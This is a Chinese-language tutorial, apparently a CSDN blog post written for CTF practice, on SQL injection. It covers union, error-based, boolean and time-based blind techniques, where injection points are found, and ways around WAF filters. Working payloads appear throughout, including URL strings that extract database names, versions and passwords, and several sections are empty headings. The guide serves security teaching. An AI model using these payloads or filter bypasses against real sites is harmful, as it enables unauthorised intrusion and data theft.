【什么是SQL注入】
成因
开发人员在开发过程中,直接将URL中的参数、HTTP Body中的Post参数或其他外来的用户输入(如Cookies, UserAgent等)与SQL语句进行拼接,造成待执行的SQL语句可控,从而使我们可以执行任意SQL语句。
分类
1)可回显
• 可以联合查询的注入。
• 报错注入。
• 通过注入进行DNS请求,从而达到可回显的目的。
2)不可回显的注入
• Bool盲注。
• 时间盲注。
3)二次注入
通常作为一种业务逻辑较为复杂的题目出现,一般需要自己编写脚本以实现自动化注入。
⭐注:一般的CTF比赛中,出题人都会变相地增加一层WAF(比如,对关键字进行过滤等),然后只留下一个思路的解题路径,这时候我们需要快速找到并绕过这个点,然后得到flag。
【可以联合查询的SQL注入】
一般会将数据库查询的数据回显到页面中,例如:
<?php
...
$id = $_GET['id'];
$getid = "SELECT Id FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>'.mysql_error().'</pre>');
$num = mysql_numrows($result);
...
其中,$id变量会将GET获取到的参数直接拼接到SQL语句中,假如传入参数:
?id=-1'union+select+1+--+
拼接之后的SQL语句将变成:
SELECT Id FROM users WHERE user_id='-1'union select 1 -- '
实现闭合前面的单引号,注释掉后面的单引号,中间协商需要的payload。
【报错注入】
故意构造错误的SQL语句,利用数据库某些函数或特性,使数据库返回错误信息,从中获取需要的数据;
※注:网站需开启错误回显(会将错误信息显示在页面上)
1 updatexml
原理:本质上是函数的报错

正常语法:
UPDATEXML(xml_target, xpath_expr, new_value)
正常使用:
SELECT UPDATEXML('<a><b>cat</b></a>', '/a/b', 'dog') AS result;
输出<a><b>dog</b></a>
以下情况会报错:
-
XPath 表达式语法错误
-
要更新的节点不存在
-
当 XPath 中包含特殊字符或非预期内容时
⭐关键点:MySQL执行时会先计算所有参数的值再执行函数,如果再XPath表达式中插入子查询,数据库会先执行,然后将结果作为其表达式,最后因为表达式非法而报错但是错误信息中会包含子查询的结果。
报错注入的基本格式:
UPDATEXML(任意xml文档, 包含子查询的非法xpath, 任意替换值)
典型的构造方式:
SELECT UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1);
解释: (SELECT USER())是想获取的数据;0x7e为十六进制,代表波浪号 ~。由于 ~ 是非法XPath字符,MySQL执行时会报错,但在报错前会先执行子查询,并将结果包含在错误信息中。
实际应用示例
获取数据库版本:
SELECT UPDATE(1,CONCAT(0x7e, (SELECT @@version), 0x7e), 1);
⭐爆破数据库版本信息:
?id=1'+updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23
获取当前数据库名:
SELECT UPDATEXML(1, CONCAT(0x7e, (SELECT database()), 0x7e), 1);
2 floor
原理:核心在于利用rand()和order by或group by的冲突;
-
当
group by与rand()函数结合使用时,MySQL会先计算rand()的值 -
如果
rand()在group by过程中被多次计算,可能导致键冲突 -
这种冲突会引发"Duplicate entry for key 'group_key'"错误
-
错误信息中会包含我们构造的查询数据
关键技术点举例分析:
select count(*), concat((select database()), floor(rand(0)*2)) as x from information_schema.tables group by x;
floor():向下取整
rand():随机数生成;
count(*):计数函数
group by:分组语句
rand(0)会产生一个可预测的随机数序列,floor(rand(0)*2)实际输出0,1,1,而尝试插入相同的键值会导致错误
实际应用:
(1) 爆破数据库版本信息:
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
(2)爆破当前使用的数据库:
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
3 exp
原理:exp()报错的本质原因是溢出报错
实际应用:

?id=1' and exp(~(select * from (select user())x))%23
【Bool盲注】
原理:
由于开发者将报错信息屏蔽导致,应用程序 在数据库查询后不会直接返回数据或粗偶信息,但网页中真和假有不同的回显;攻击者通过构造一系列真假条件来观察应用程序的不同响应来推断数据库信息。
识别:
如在输入点后面添加and 1=1和and 1=2(在怀疑是整型注入的情况下)观察响应差异
在字符串型注入时还需要绕过单引号,payload格式为?username=admin‘ and '1'='1和'?username=admin' or '1'='2来闭合单引号
SELECT * FROM users WHERE username = 'admin' and '1'='1'
常用技术手段举例:
(1)基于长度(猜测数据库名长度)
' AND LENGTH(database())=1 --
' AND LENGTH(database())=2 --
(2)基于字符(逐字符获取数据库名)
' AND SUBSTRING(database(),1,1)='a' --
' AND SUBSTRING(database(),1,1)='b' --
常用函数:
(1)截取函数

' AND (SELECT substr(database(),1,1))>'m' --
' AND (SELECT substr(database(),1,1))<'t' --
通过二分法快速去欸的那个数据库名称的第一个字符
' AND (SELECT left(password,1) FROM users WHERE id=1)='a' --
' AND (SELECT right(password,1) FROM users WHERE id=1)='z' --
(2)转换函数

(3)比较函数

【时间盲注】
原理:通过观察数据库响应时间的差异来推断信息
常用函数:

【注入点位置及发现】
1 常见注入位置
(1)GET参数中的注入
在地址栏中获得url参数、用Sqlmap、手工验证
(2)POST中的注入
抓包拦截,修改POST参数
(3)User-Agent中的注入
使用Burp中的Repeater模块,修改User-Agent头为注入payload,例如:
当攻击者修改User-Agent为:
User-Agent: ' OR 1=1 --
实际执行的SQL语句变为:
INSERT INTO access_log (ip, user_agent, visit_time)
VALUES ('192.168.1.1', '' OR 1=1 -- ', NOW())
或将Sqlmap的参数设置为level=3
(4)Cookies中的注入
使用Burp中的Repeater模块修改Cookie值如:sessionid=1' AND '1'='1
或将Sqlmap的参数设置为level=2
2 判断注入点是否存在
先假设源程序执行的SQL语句,如:
SELECT UserName FROM User WHERE id = '$id'; // 参数为字符串
或
SELECT UserName FROM User WHERE id = $id; // 参数为数字
判断方法:
(1)插入单引号
未闭合的单引号会引起SQL语句单引号未闭合的错误
(2)数字型
通过and 1=1(数字型)和闭合单引号测试语句'and'1'='1(字符串型)进行判断
(3)通过数字的加减进行判断
比如,在遇到的题目中抓到了链接http://example.com/?id=2,尝试:
http://example.com/?id=3-1,如果结果与http://example.com/?id=2相同,则证明id这个输入点可能存在SQL注入漏洞。
【绕过技术】
1 过滤关键字
过滤如select、or、from等的关键字;
如果没有进行递归过滤,而且刚好将关键字替换为空,这时可以使用穿插关键字进行绕过操作,如:
select -- selselectect
or -- oorr
union -- uniunionon
...
大小写转换:
select -- SelECt
or -- oR
union -- uNIoN
...
对关键字的个别字母进行替换:
select -- selec\x74
or -- o\x72
union -- unio\x6e
...
双重URL编码
2 过滤空格
当出题人没有对关键字进行过滤反而是对空格进行了过滤
(1)通过注释符来绕过空格符,如:
select/**/username/**/from/**/user
(2)通过URL编码绕过
空格的编码是%20,可以通过二次URL编码绕过
%20 -- %2520
(3)通过空白字符绕过,常见(十六进制):
SQLite3 -- 0A,0D,0C,09,20
MySQL5 -- 09,0A,0B,0C,0D,A0,20
PosgresSQL -- 0A,0D,0C,09,20
Oracle 11g -- 00,0A,0D,0C,09,20
MSSQL -- 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D, 0E,0F,10,11,12,13,14,15,16,
17,18,19,1A,1B,1C,1D,1E,1F,20
(4)科学计数法
SELECT user,password from users
where user_id=0e1union select 1,2
【SQL读写文件】
用途:当题目存在SQL注入漏洞但是flag不在数据库中时
具体见:CTF-文件包含漏洞-优快云博客
1225

被折叠的 条评论
为什么被折叠?



